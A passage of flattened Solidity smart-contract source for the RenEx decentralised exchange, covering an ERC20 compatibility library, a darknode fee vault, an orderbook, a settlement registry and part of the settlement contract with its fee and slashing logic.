transfer returns true on success, reverts on failure /// (3) transfer returns nothing on success, reverts on failure /// /// Additionally, safeTransferFromWithFees will return the final token /// value received after accounting for token fees. library CompatibleERC20Functions { using SafeMath for uint256; /// @notice Calls transfer on the token and reverts if the call fails. function safeTransfer(address token, address to, uint256 amount) internal { CompatibleERC20(token).transfer(to, amount); require(previousReturnValue(), "transfer failed"); } /// @notice Calls transferFrom on the token and reverts if the call fails. function safeTransferFrom(address token, address from, address to, uint256 amount) internal { CompatibleERC20(token).transferFrom(from, to, amount); require(previousReturnValue(), "transferFrom failed"); } /// @notice Calls approve on the token and reverts if the call fails. function safeApprove(address token, address spender, uint256 amount) internal { CompatibleERC20(token).approve(spender, amount); require(previousReturnValue(), "approve failed"); } /// @notice Calls transferFrom on the token, reverts if the call fails and /// returns the value transferred after fees. function safeTransferFromWithFees(address token, address from, address to, uint256 amount) internal returns (uint256) { uint256 balancesBefore = CompatibleERC20(token).balanceOf(to); CompatibleERC20(token).transferFrom(from, to, amount); require(previousReturnValue(), "transferFrom failed"); uint256 balancesAfter = CompatibleERC20(token).balanceOf(to); return Math.min256(amount, balancesAfter.sub(balancesBefore)); } /// @notice Checks the return value of the previous function. Returns true /// if the previous function returned 32 non-zero bytes or returned zero /// bytes. function previousReturnValue() private pure returns (bool) { uint256 returnData = 0; assembly { /* solium-disable-line security/no-inline-assembly */ // Switch on the number of bytes returned by the previous call switch returndatasize // 0 bytes: ERC20 of type (3), did not throw case 0 { returnData := 1 } // 32 bytes: ERC20 of types (1) or (2) case 32 { // Copy the return data into scratch space returndatacopy(0x0, 0x0, 32) // Load the return data into returnData returnData := mload(0x0) } // Other return size: return false default { } } return returnData != 0; } } /// @notice ERC20 interface which doesn't specify the return type for transfer, /// transferFrom and approve. interface CompatibleERC20 { // Modified to not return boolean function transfer(address to, uint256 value) external; function transferFrom(address from, address to, uint256 value) external; function approve(address spender, uint256 value) external; // Not modifier function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /// @notice The DarknodeRewardVault contract is responsible for holding fees /// for darknodes for settling orders. Fees can be withdrawn to the address of /// the darknode's operator. Fees can be in ETH or in ERC20 tokens. /// Docs: https://github.com/republicprotocol/republic-sol/blob/master/docs/02-darknode-reward-vault.md contract DarknodeRewardVault is Ownable { using SafeMath for uint256; using CompatibleERC20Functions for CompatibleERC20; string public VERSION; // Passed in as a constructor parameter. /// @notice The special address for Ether. address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; DarknodeRegistry public darknodeRegistry; mapping(address => mapping(address => uint256)) public darknodeBalances; event LogDarknodeRegistryUpdated(DarknodeRegistry previousDarknodeRegistry, DarknodeRegistry nextDarknodeRegistry); /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _darknodeRegistry The DarknodeRegistry contract that is used by /// the vault to lookup Darknode owners. constructor(string _VERSION, DarknodeRegistry _darknodeRegistry) public { VERSION = _VERSION; darknodeRegistry = _darknodeRegistry; } function updateDarknodeRegistry(DarknodeRegistry _newDarknodeRegistry) public onlyOwner { emit LogDarknodeRegistryUpdated(darknodeRegistry, _newDarknodeRegistry); darknodeRegistry = _newDarknodeRegistry; } /// @notice Deposit fees into the vault for a Darknode. The Darknode /// registration is not checked (to reduce gas fees); the caller must be /// careful not to call this function for a Darknode that is not registered /// otherwise any fees deposited to that Darknode can be withdrawn by a /// malicious adversary (by registering the Darknode before the honest /// party and claiming ownership). /// /// @param _darknode The address of the Darknode that will receive the /// fees. /// @param _token The address of the ERC20 token being used to pay the fee. /// A special address is used for Ether. /// @param _value The amount of fees in the smallest unit of the token. function deposit(address _darknode, ERC20 _token, uint256 _value) public payable { uint256 receivedValue = _value; if (address(_token) == ETHEREUM) { require(msg.value == _value, "mismatched ether value"); } else { require(msg.value == 0, "unexpected ether value"); receivedValue = CompatibleERC20(_token).safeTransferFromWithFees(msg.sender, address(this), _value); } darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].add(receivedValue); } /// @notice Withdraw fees earned by a Darknode. The fees will be sent to /// the owner of the Darknode. If a Darknode is not registered the fees /// cannot be withdrawn. /// /// @param _darknode The address of the Darknode whose fees are being /// withdrawn. The owner of this Darknode will receive the fees. /// @param _token The address of the ERC20 token to withdraw. function withdraw(address _darknode, ERC20 _token) public { address darknodeOwner = darknodeRegistry.getDarknodeOwner(address(_darknode)); require(darknodeOwner != 0x0, "invalid darknode owner"); uint256 value = darknodeBalances[_darknode][_token]; darknodeBalances[_darknode][_token] = 0; if (address(_token) == ETHEREUM) { darknodeOwner.transfer(value); } else { CompatibleERC20(_token).safeTransfer(darknodeOwner, value); } } } /// @notice The BrokerVerifier interface defines the functions that a settlement /// layer's broker verifier contract must implement. interface BrokerVerifier { /// @notice The function signature that will be called when a trader opens /// an order. /// /// @param _trader The trader requesting the withdrawal. /// @param _signature The 65-byte signature from the broker. /// @param _orderID The 32-byte order ID. function verifyOpenSignature( address _trader, bytes _signature, bytes32 _orderID ) external returns (bool); } /// @notice The Settlement interface defines the functions that a settlement /// layer must implement. /// Docs: https://github.com/republicprotocol/republic-sol/blob/nightly/docs/05-settlement.md interface Settlement { function submitOrder( bytes _details, uint64 _settlementID, uint64 _tokens, uint256 _price, uint256 _volume, uint256 _minimumVolume ) external; function submissionGasPriceLimit() external view returns (uint256); function settle( bytes32 _buyID, bytes32 _sellID ) external; /// @notice orderStatus should return the status of the order, which should /// be: /// 0 - Order not seen before /// 1 - Order details submitted /// >1 - Order settled, or settlement no longer possible function orderStatus(bytes32 _orderID) external view returns (uint8); } /// @notice SettlementRegistry allows a Settlement layer to register the /// contracts used for match settlement and for broker signature verification. contract SettlementRegistry is Ownable { string public VERSION; // Passed in as a constructor parameter. struct SettlementDetails { bool registered; Settlement settlementContract; BrokerVerifier brokerVerifierContract; } // Settlement IDs are 64-bit unsigned numbers mapping(uint64 => SettlementDetails) public settlementDetails; // Events event LogSettlementRegistered(uint64 settlementID, Settlement settlementContract, BrokerVerifier brokerVerifierContract); event LogSettlementUpdated(uint64 settlementID, Settlement settlementContract, BrokerVerifier brokerVerifierContract); event LogSettlementDeregistered(uint64 settlementID); /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. constructor(string _VERSION) public { VERSION = _VERSION; } /// @notice Returns the settlement contract of a settlement layer. function settlementRegistration(uint64 _settlementID) external view returns (bool) { return settlementDetails[_settlementID].registered; } /// @notice Returns the settlement contract of a settlement layer. function settlementContract(uint64 _settlementID) external view returns (Settlement) { return settlementDetails[_settlementID].settlementContract; } /// @notice Returns the broker verifier contract of a settlement layer. function brokerVerifierContract(uint64 _settlementID) external view returns (BrokerVerifier) { return settlementDetails[_settlementID].brokerVerifierContract; } /// @param _settlementID A unique 64-bit settlement identifier. /// @param _settlementContract The address to use for settling matches. /// @param _brokerVerifierContract The decimals to use for verifying /// broker signatures. function registerSettlement(uint64 _settlementID, Settlement _settlementContract, BrokerVerifier _brokerVerifierContract) public onlyOwner { bool alreadyRegistered = settlementDetails[_settlementID].registered; settlementDetails[_settlementID] = SettlementDetails({ registered: true, settlementContract: _settlementContract, brokerVerifierContract: _brokerVerifierContract }); if (alreadyRegistered) { emit LogSettlementUpdated(_settlementID, _settlementContract, _brokerVerifierContract); } else { emit LogSettlementRegistered(_settlementID, _settlementContract, _brokerVerifierContract); } } /// @notice Deregisteres a settlement layer, clearing the details. /// @param _settlementID The unique 64-bit settlement identifier. function deregisterSettlement(uint64 _settlementID) external onlyOwner { require(settlementDetails[_settlementID].registered, "not registered"); delete settlementDetails[_settlementID]; emit LogSettlementDeregistered(_settlementID); } } /** * @title Eliptic curve signature operations * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } library Utils { /** * @notice Converts a number to its string/bytes representation * * @param _v the uint to convert */ function uintToBytes(uint256 _v) internal pure returns (bytes) { uint256 v = _v; if (v == 0) { return "0"; } uint256 digits = 0; uint256 v2 = v; while (v2 > 0) { v2 /= 10; digits += 1; } bytes memory result = new bytes(digits); for (uint256 i = 0; i < digits; i++) { result[digits - i - 1] = bytes1((v % 10) + 48); v /= 10; } return result; } /** * @notice Retrieves the address from a signature * * @param _hash the message that was signed (any length of bytes) * @param _signature the signature (65 bytes) */ function addr(bytes _hash, bytes _signature) internal pure returns (address) { bytes memory prefix = "\x19Ethereum Signed Message:\n"; bytes memory encoded = abi.encodePacked(prefix, uintToBytes(_hash.length), _hash); bytes32 prefixedHash = keccak256(encoded); return ECRecovery.recover(prefixedHash, _signature); } } /// @notice The Orderbook contract stores the state and priority of orders and /// allows the Darknodes to easily reach consensus. Eventually, this contract /// will only store a subset of order states, such as cancellation, to improve /// the throughput of orders. contract Orderbook is Ownable { string public VERSION; // Passed in as a constructor parameter. /// @notice OrderState enumerates the possible states of an order. All /// orders default to the Undefined state. enum OrderState {Undefined, Open, Confirmed, Canceled} /// @notice Order stores a subset of the public data associated with an order. struct Order { OrderState state; // State of the order address trader; // Trader that owns the order address confirmer; // Darknode that confirmed the order in a match uint64 settlementID; // The settlement that signed the order opening uint256 priority; // Logical time priority of this order uint256 blockNumber; // Block number of the most recent state change bytes32 matchedOrder; // Order confirmed in a match with this order } RepublicToken public ren; DarknodeRegistry public darknodeRegistry; SettlementRegistry public settlementRegistry; bytes32[] private orderbook; // Order details are exposed through directly accessing this mapping, or // through the getter functions below for each of the order's fields. mapping(bytes32 => Order) public orders; event LogFeeUpdated(uint256 previousFee, uint256 nextFee); event LogDarknodeRegistryUpdated(DarknodeRegistry previousDarknodeRegistry, DarknodeRegistry nextDarknodeRegistry); /// @notice Only allow registered dark nodes. modifier onlyDarknode(address _sender) { require(darknodeRegistry.isRegistered(address(_sender)), "must be registered darknode"); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _renAddress The address of the RepublicToken contract. /// @param _darknodeRegistry The address of the DarknodeRegistry contract. /// @param _settlementRegistry The address of the SettlementRegistry /// contract. constructor( string _VERSION, RepublicToken _renAddress, DarknodeRegistry _darknodeRegistry, SettlementRegistry _settlementRegistry ) public { VERSION = _VERSION; ren = _renAddress; darknodeRegistry = _darknodeRegistry; settlementRegistry = _settlementRegistry; } /// @notice Allows the owner to update the address of the DarknodeRegistry /// contract. function updateDarknodeRegistry(DarknodeRegistry _newDarknodeRegistry) external onlyOwner { emit LogDarknodeRegistryUpdated(darknodeRegistry, _newDarknodeRegistry); darknodeRegistry = _newDarknodeRegistry; } /// @notice Open an order in the orderbook. The order must be in the /// Undefined state. /// /// @param _signature Signature of the message that defines the trader. The /// message is "Republic Protocol: open: {orderId}". /// @param _orderID The hash of the order. function openOrder(uint64 _settlementID, bytes _signature, bytes32 _orderID) external { require(orders[_orderID].state == OrderState.Undefined, "invalid order status"); address trader = msg.sender; // Verify the order signature require(settlementRegistry.settlementRegistration(_settlementID), "settlement not registered"); BrokerVerifier brokerVerifier = settlementRegistry.brokerVerifierContract(_settlementID); require(brokerVerifier.verifyOpenSignature(trader, _signature, _orderID), "invalid broker signature"); orders[_orderID] = Order({ state: OrderState.Open, trader: trader, confirmer: 0x0, settlementID: _settlementID, priority: orderbook.length + 1, blockNumber: block.number, matchedOrder: 0x0 }); orderbook.push(_orderID); } /// @notice Confirm an order match between orders. The confirmer must be a /// registered Darknode and the orders must be in the Open state. A /// malicious confirmation by a Darknode will result in a bond slash of the /// Darknode. /// /// @param _orderID The hash of the order. /// @param _matchedOrderID The hashes of the matching order. function confirmOrder(bytes32 _orderID, bytes32 _matchedOrderID) external onlyDarknode(msg.sender) { require(orders[_orderID].state == OrderState.Open, "invalid order status"); require(orders[_matchedOrderID].state == OrderState.Open, "invalid order status"); orders[_orderID].state = OrderState.Confirmed; orders[_orderID].confirmer = msg.sender; orders[_orderID].matchedOrder = _matchedOrderID; orders[_orderID].blockNumber = block.number; orders[_matchedOrderID].state = OrderState.Confirmed; orders[_matchedOrderID].confirmer = msg.sender; orders[_matchedOrderID].matchedOrder = _orderID; orders[_matchedOrderID].blockNumber = block.number; } /// @notice Cancel an open order in the orderbook. An order can be cancelled /// by the trader who opened the order, or by the broker verifier contract. /// This allows the settlement layer to implement their own logic for /// cancelling orders without trader interaction (e.g. to ban a trader from /// a specific darkpool, or to use multiple order-matching platforms) /// /// @param _orderID The hash of the order. function cancelOrder(bytes32 _orderID) external { require(orders[_orderID].state == OrderState.Open, "invalid order state"); // Require the msg.sender to be the trader or the broker verifier address brokerVerifier = address(settlementRegistry.brokerVerifierContract(orders[_orderID].settlementID)); require(msg.sender == orders[_orderID].trader || msg.sender == brokerVerifier, "not authorized"); orders[_orderID].state = OrderState.Canceled; orders[_orderID].blockNumber = block.number; } /// @notice returns status of the given orderID. function orderState(bytes32 _orderID) external view returns (OrderState) { return orders[_orderID].state; } /// @notice returns a list of matched orders to the given orderID. function orderMatch(bytes32 _orderID) external view returns (bytes32) { return orders[_orderID].matchedOrder; } /// @notice returns the priority of the given orderID. /// The priority is the index of the order in the orderbook. function orderPriority(bytes32 _orderID) external view returns (uint256) { return orders[_orderID].priority; } /// @notice returns the trader of the given orderID. /// Trader is the one who signs the message and does the actual trading. function orderTrader(bytes32 _orderID) external view returns (address) { return orders[_orderID].trader; } /// @notice returns the darknode address which confirms the given orderID. function orderConfirmer(bytes32 _orderID) external view returns (address) { return orders[_orderID].confirmer; } /// @notice returns the block number when the order being last modified. function orderBlockNumber(bytes32 _orderID) external view returns (uint256) { return orders[_orderID].blockNumber; } /// @notice returns the block depth of the orderId function orderDepth(bytes32 _orderID) external view returns (uint256) { if (orders[_orderID].blockNumber == 0) { return 0; } return (block.number - orders[_orderID].blockNumber); } /// @notice returns the number of orders in the orderbook function ordersCount() external view returns (uint256) { return orderbook.length; } /// @notice returns order details of the orders starting from the offset. function getOrders(uint256 _offset, uint256 _limit) external view returns (bytes32[], address[], uint8[]) { if (_offset >= orderbook.length) { return; } // If the provided limit is more than the number of orders after the offset, // decrease the limit uint256 limit = _limit; if (_offset + limit > orderbook.length) { limit = orderbook.length - _offset; } bytes32[] memory orderIDs = new bytes32[](limit); address[] memory traderAddresses = new address[](limit); uint8[] memory states = new uint8[](limit); for (uint256 i = 0; i < limit; i++) { bytes32 order = orderbook[i + _offset]; orderIDs[i] = order; traderAddresses[i] = orders[order].trader; states[i] = uint8(orders[order].state); } return (orderIDs, traderAddresses, states); } } /// @notice A library for calculating and verifying order match details library SettlementUtils { struct OrderDetails { uint64 settlementID; uint64 tokens; uint256 price; uint256 volume; uint256 minimumVolume; } /// @notice Calculates the ID of the order. /// @param details Order details that are not required for settlement /// execution. They are combined as a single byte array. /// @param order The order details required for settlement execution. function hashOrder(bytes details, OrderDetails memory order) internal pure returns (bytes32) { return keccak256( abi.encodePacked( details, order.settlementID, order.tokens, order.price, order.volume, order.minimumVolume ) ); } /// @notice Verifies that two orders match when considering the tokens, /// price, volumes / minimum volumes and settlement IDs. verifyMatchDetails is used /// my the DarknodeSlasher to verify challenges. Settlement layers may also /// use this function. /// @dev When verifying two orders for settlement, you should also: /// 1) verify the orders have been confirmed together /// 2) verify the orders' traders are distinct /// @param _buy The buy order details. /// @param _sell The sell order details. function verifyMatchDetails(OrderDetails memory _buy, OrderDetails memory _sell) internal pure returns (bool) { // Buy and sell tokens should match if (!verifyTokens(_buy.tokens, _sell.tokens)) { return false; } // Buy price should be greater than sell price if (_buy.price < _sell.price) { return false; } // // Buy volume should be greater than sell minimum volume if (_buy.volume < _sell.minimumVolume) { return false; } // Sell volume should be greater than buy minimum volume if (_sell.volume < _buy.minimumVolume) { return false; } // Require that the orders were submitted to the same settlement layer if (_buy.settlementID != _sell.settlementID) { return false; } return true; } /// @notice Verifies that two token requirements can be matched and that the /// tokens are formatted correctly. /// @param _buyTokens The buy token details. /// @param _sellToken The sell token details. function verifyTokens(uint64 _buyTokens, uint64 _sellToken) internal pure returns (bool) { return (( uint32(_buyTokens) == uint32(_sellToken >> 32)) && ( uint32(_sellToken) == uint32(_buyTokens >> 32)) && ( uint32(_buyTokens >> 32) <= uint32(_buyTokens)) ); } } /// @notice RenExTokens is a registry of tokens that can be traded on RenEx. contract RenExTokens is Ownable { string public VERSION; // Passed in as a constructor parameter. struct TokenDetails { address addr; uint8 decimals; bool registered; } // Storage mapping(uint32 => TokenDetails) public tokens; mapping(uint32 => bool) private detailsSubmitted; // Events event LogTokenRegistered(uint32 tokenCode, address tokenAddress, uint8 tokenDecimals); event LogTokenDeregistered(uint32 tokenCode); /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. constructor(string _VERSION) public { VERSION = _VERSION; } /// @notice Allows the owner to register and the details for a token. /// Once details have been submitted, they cannot be overwritten. /// To re-register the same token with different details (e.g. if the address /// has changed), a different token identifier should be used and the /// previous token identifier should be deregistered. /// If a token is not Ethereum-based, the address will be set to 0x0. /// /// @param _tokenCode A unique 32-bit token identifier. /// @param _tokenAddress The address of the token. /// @param _tokenDecimals The decimals to use for the token. function registerToken(uint32 _tokenCode, address _tokenAddress, uint8 _tokenDecimals) public onlyOwner { require(!tokens[_tokenCode].registered, "already registered"); // If a token is being re-registered, the same details must be provided. if (detailsSubmitted[_tokenCode]) { require(tokens[_tokenCode].addr == _tokenAddress, "different address"); require(tokens[_tokenCode].decimals == _tokenDecimals, "different decimals"); } else { detailsSubmitted[_tokenCode] = true; } tokens[_tokenCode] = TokenDetails({ addr: _tokenAddress, decimals: _tokenDecimals, registered: true }); emit LogTokenRegistered(_tokenCode, _tokenAddress, _tokenDecimals); } /// @notice Sets a token as being deregistered. The details are still stored /// to prevent the token from being re-registered with different details. /// /// @param _tokenCode The unique 32-bit token identifier. function deregisterToken(uint32 _tokenCode) external onlyOwner { require(tokens[_tokenCode].registered, "not registered"); tokens[_tokenCode].registered = false; emit LogTokenDeregistered(_tokenCode); } } /// @notice RenExSettlement implements the Settlement interface. It implements /// the on-chain settlement for the RenEx settlement layer, and the fee payment /// for the RenExAtomic settlement layer. contract RenExSettlement is Ownable { using SafeMath for uint256; string public VERSION; // Passed in as a constructor parameter. // This contract handles the settlements with ID 1 and 2. uint32 constant public RENEX_SETTLEMENT_ID = 1; uint32 constant public RENEX_ATOMIC_SETTLEMENT_ID = 2; // Fees in RenEx are 0.2%. To represent this as integers, it is broken into // a numerator and denominator. uint256 constant public DARKNODE_FEES_NUMERATOR = 2; uint256 constant public DARKNODE_FEES_DENOMINATOR = 1000; // Constants used in the price / volume inputs. int16 constant private PRICE_OFFSET = 12; int16 constant private VOLUME_OFFSET = 12; // Constructor parameters, updatable by the owner Orderbook public orderbookContract; RenExTokens public renExTokensContract; RenExBalances public renExBalancesContract; address public slasherAddress; uint256 public submissionGasPriceLimit; enum OrderStatus {None, Submitted, Settled, Slashed} struct TokenPair { RenExTokens.TokenDetails priorityToken; RenExTokens.TokenDetails secondaryToken; } // A uint256 tuple representing a value and an associated fee struct ValueWithFees { uint256 value; uint256 fees; } // A uint256 tuple representing a fraction struct Fraction { uint256 numerator; uint256 denominator; } // We use left and right because the tokens do not always represent the // priority and secondary tokens. struct SettlementDetails { uint256 leftVolume; uint256 rightVolume; uint256 leftTokenFee; uint256 rightTokenFee; address leftTokenAddress; address rightTokenAddress; } // Events event LogOrderbookUpdated(Orderbook previousOrderbook, Orderbook nextOrderbook); event LogRenExTokensUpdated(RenExTokens previousRenExTokens, RenExTokens nextRenExTokens); event LogRenExBalancesUpdated(RenExBalances previousRenExBalances, RenExBalances nextRenExBalances); event LogSubmissionGasPriceLimitUpdated(uint256 previousSubmissionGasPriceLimit, uint256 nextSubmissionGasPriceLimit); event LogSlasherUpdated(address previousSlasher, address nextSlasher); // Order Storage mapping(bytes32 => SettlementUtils.OrderDetails) public orderDetails; mapping(bytes32 => address) public orderSubmitter; mapping(bytes32 => OrderStatus) public orderStatus; // Match storage (match details are indexed by [buyID][sellID]) mapping(bytes32 => mapping(bytes32 => uint256)) public matchTimestamp; /// @notice Prevents a function from being called with a gas price higher /// than the specified limit. /// /// @param _gasPriceLimit The gas price upper-limit in Wei. modifier withGasPriceLimit(uint256 _gasPriceLimit) { require(tx.gasprice <= _gasPriceLimit, "gas price too high"); _; } /// @notice Restricts a function to only being called by the slasher /// address. modifier onlySlasher() { require(msg.sender == slasherAddress, "unauthorized"); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _orderbookContract The address of the Orderbook contract. /// @param _renExBalancesContract The address of the RenExBalances /// contract. /// @param _renExTokensContract The address of the RenExTokens contract. constructor( string _VERSION, Orderbook _orderbookContract, RenExTokens _renExTokensContract, RenExBalances _renExBalancesContract, address _slasherAddress, uint256 _submissionGasPriceLimit ) public { VERSION = _VERSION; orderbookContract = _orderbookContract; renExTokensContract = _renExTokensContract; renExBalancesContract = _renExBalancesContract; slasherAddress = _slasherAddress; submissionGasPriceLimit = _submissionGasPriceLimit; } /// @notice The owner of the contract can update the Orderbook address. /// @param _newOrderbookContract The address of the new Orderbook contract. function updateOrderbook(Orderbook _newOrderbookContract) external onlyOwner { emit LogOrderbookUpdated(orderbookContract, _newOrderbookContract); orderbookContract = _newOrderbookContract; } /// @notice The owner of the contract can update the RenExTokens address. /// @param _newRenExTokensContract The address of the new RenExTokens /// contract. function updateRenExTokens(RenExTokens _newRenExTokensContract) external onlyOwner { emit LogRenExTokensUpdated(renExTokensContract, _newRenExTokensContract); renExTokensContract = _newRenExTokensContract; } /// @notice The owner of the contract can update the RenExBalances address. /// @param _newRenExBalancesContract The address of the new RenExBalances /// contract. function updateRenExBalances(RenExBalances _newRenExBalancesContract) external onlyOwner { emit LogRenExBalancesUpdated(renExBalancesContract, _newRenExBalancesContract); renExBalancesContract = _newRenExBalancesContract; } /// @notice The owner of the contract can update the order submission gas /// price limit. /// @param _newSubmissionGasPriceLimit The new gas price limit. function updateSubmissionGasPriceLimit(uint256 _newSubmissionGasPriceLimit) external onlyOwner { emit LogSubmissionGasPriceLimitUpdated(submissionGasPriceLimit, _newSubmissionGasPriceLimit); submissionGasPriceLimit = _newSubmissionGasPriceLimit; } /// @notice The owner of the contract can update the slasher address. /// @param _newSlasherAddress The new slasher address. function updateSlasher(address _newSlasherAddress) external onlyOwner { emit LogSlasherUpdated(slasherAddress, _newSlasherAddress); slasherAddress = _newSlasherAddress; } /// @notice Stores the details of an order. /// /// @param _prefix The miscellaneous details of the order required for /// calculating the order id. /// @param _settlementID The settlement identifier. /// @param _tokens The encoding of the token pair (buy token is encoded as /// the first 32 bytes and sell token is encoded as the last 32 /// bytes). /// @param _price The price of the order. Interpreted as the cost for 1 /// standard unit of the non-priority token, in 1e12 (i.e. /// PRICE_OFFSET) units of the priority token). /// @param _volume The volume of the order. Interpreted as the maximum /// number of 1e-12 (i.e. VOLUME_OFFSET) units of the non-priority /// token that can be traded by this order. /// @param _minimumVolume The minimum volume the trader is willing to /// accept. Encoded the same as the volume. function submitOrder( bytes _prefix, uint64 _settlementID, uint64 _tokens, uint256 _price, uint256 _volume, uint256 _minimumVolume ) external withGasPriceLimit(submissionGasPriceLimit) { SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({ settlementID: _settlementID, tokens: _tokens, price: _price, volume: _volume, minimumVolume: _minimumVolume }); bytes32 orderID = SettlementUtils.hashOrder(_prefix, order); require(orderStatus[orderID] == OrderStatus.None, "order already submitted"); require(orderbookContract.orderState(orderID) == Orderbook.OrderState.Confirmed, "unconfirmed order"); orderSubmitter[orderID] = msg.sender; orderStatus[orderID] = OrderStatus.Submitted; orderDetails[orderID] = order; } /// @notice Settles two orders that are matched. `submitOrder` must have been /// called for each order before this function is called. /// /// @param _buyID The 32 byte ID of the buy order. /// @param _sellID The 32 byte ID of the sell order. function settle(bytes32 _buyID, bytes32 _sellID) external { require(orderStatus[_buyID] == OrderStatus.Submitted, "invalid buy status"); require(orderStatus[_sellID] == OrderStatus.Submitted, "invalid sell status"); // Check the settlement ID (only have to check for one, since // `verifyMatchDetails` checks that they are the same) require( orderDetails[_buyID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID || orderDetails[_buyID].settlementID == RENEX_SETTLEMENT_ID, "invalid settlement id" ); // Verify that the two order details are compatible. require(SettlementUtils.verifyMatchDetails(orderDetails[_buyID], orderDetails[_sellID]), "incompatible orders"); // Verify that the two orders have been confirmed to one another. require(orderbookContract.orderMatch(_buyID) == _sellID, "unconfirmed orders"); // Retrieve token details. TokenPair memory tokens = getTokenDetails(orderDetails[_buyID].tokens); // Require that the tokens have been registered. require(tokens.priorityToken.registered, "unregistered priority token"); require(tokens.secondaryToken.registered, "unregistered secondary token"); address buyer = orderbookContract.orderTrader(_buyID); address seller = orderbookContract.orderTrader(_sellID); require(buyer != seller, "orders from same trader"); execute(_buyID, _sellID, buyer, seller, tokens); /* solium-disable-next-line security/no-block-members */ matchTimestamp[_buyID][_sellID] = now; // Store that the orders have been settled. orderStatus[_buyID] = OrderStatus.Settled; orderStatus[_sellID] = OrderStatus.Settled; } /// @notice Slashes the bond of a guilty trader. This is called when an /// atomic swap is not executed successfully. /// To open an atomic order, a trader must have a balance equivalent to /// 0.6% of the trade in the Ethereum-based token. 0.2% is always paid in /// darknode fees when the order is matched. If the remaining amount is /// is slashed, it is distributed as follows: /// 1) 0.2% goes to the other trader, covering their fee /// 2) 0.2% goes to the slasher address /// Only one order in a match can be slashed. /// /// @param _guiltyOrderID The 32 byte ID of the order of the guilty trader. function slash(bytes32 _guiltyOrderID) external onlySlasher { require(orderDetails[_guiltyOrderID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID, "slashing non-atomic trade"); bytes32 innocentOrderID = orderbookContract.orderMatch(_guiltyOrderID); require(orderStatus[_guiltyOrderID] == OrderStatus.Settled, "invalid order status"); require(orderStatus[innocentOrderID] == OrderStatus.Settled, "invalid order status"); orderStatus[_guiltyOrderID] = OrderStatus.Slashed; (bytes32 buyID, bytes32 sellID) = isBuyOrder(_guiltyOrderID) ? (_guiltyOrderID, innocentOrderID) : (innocentOrderID, _guiltyOrderID); TokenPair memory tokens = getTokenDetails(orderDetails[buyID].tokens); SettlementDetails memory settlementDetails = calculateAtomicFees(buyID, sellID, tokens); // Transfer the fee amount to the other trader renExBalancesContract.transferBalanceWithFee( orderbookContract.orderTrader(_guiltyOrderID), orderbookContract.orderTrader(innocentOrderID), settlementDetails.leftTokenAddress, settlementDetails.leftTokenFee, 0, 0x0 ); // Transfer the fee amount to the slasher renExBalancesContract.transferBalanceWithFee( orderbookContract.orderTrader(_guiltyOrderID), slasherAddress, settlementDetails.leftTokenAddress, settlementDetails.leftTokenFee, 0, 0x0 ); } /// @notice Retrieves the settlement details of an order. /// For atomic swaps, it returns the full volumes, not the settled fees. /// /// @param _orderID The order to lookup the details of. Can be the ID of a /// buy or a sell order. /// @return [ /// a boolean representing whether or not the order has been settled, /// a boolean representing whether or not the order is a buy /// the 32-byte order ID of the matched order /// the volume of the priority token, /// the volume of the secondary token, /// the fee paid in the priority token, /// the fee paid in the secondary token, /// the token code of the priority token, /// the token code of the secondary token /// ] function getMatchDetails(bytes32 _orderID) external view returns ( bool settled, bool orderIsBuy, bytes32 matchedID, uint256 priorityVolume, uint256 secondaryVolume, uint256 priorityFee, uint256 secondaryFee, uint32 priorityToken, uint32 secondaryToken ) { matchedID = orderbookContract.orderMatch(_orderID); orderIsBuy = isBuyOrder(_orderID); (bytes32 buyID, bytes32 sellID) = orderIsBuy ? (_orderID, matchedID) : (matchedID, _orderID); SettlementDetails memory settlementDetails = calculateSettlementDetails( buyID, sellID, getTokenDetails(orderDetails[buyID].tokens) ); return ( orderStatus[_orderID] == OrderStatus.Settled || orderStatus[_orderID] == OrderStatus.Slashed, orderIsBuy, matchedID, settlementDetails.leftVolume, settlementDetails.rightVolume, settlementDetails.leftTokenFee, settlementDetails.rightTokenFee, uint32(orderDetails[buyID].tokens >> 32), uint32(orderDetails[buyID].tokens) ); } /// @notice Exposes the hashOrder function for computing a hash of an /// order's details. An order hash is used as its ID. See `submitOrder` /// for the parameter descriptions. /// /// @return The 32-byte hash of the order. function hashOrder( bytes _prefix, uint64 _settlementID, uint64 _tokens, uint256 _price, uint256 _volume, uint256 _minimumVolume ) external pure returns (bytes32) { return SettlementUtils.hashOrder(_prefix, SettlementUtils.OrderDetails({ settlementID: _settlementID, tokens: _tokens, price: _price, volume: _volume, minimumVolume: _minimumVolume })); } /// @notice Called by `settle`, executes the settlement for a RenEx order /// or distributes the fees for a 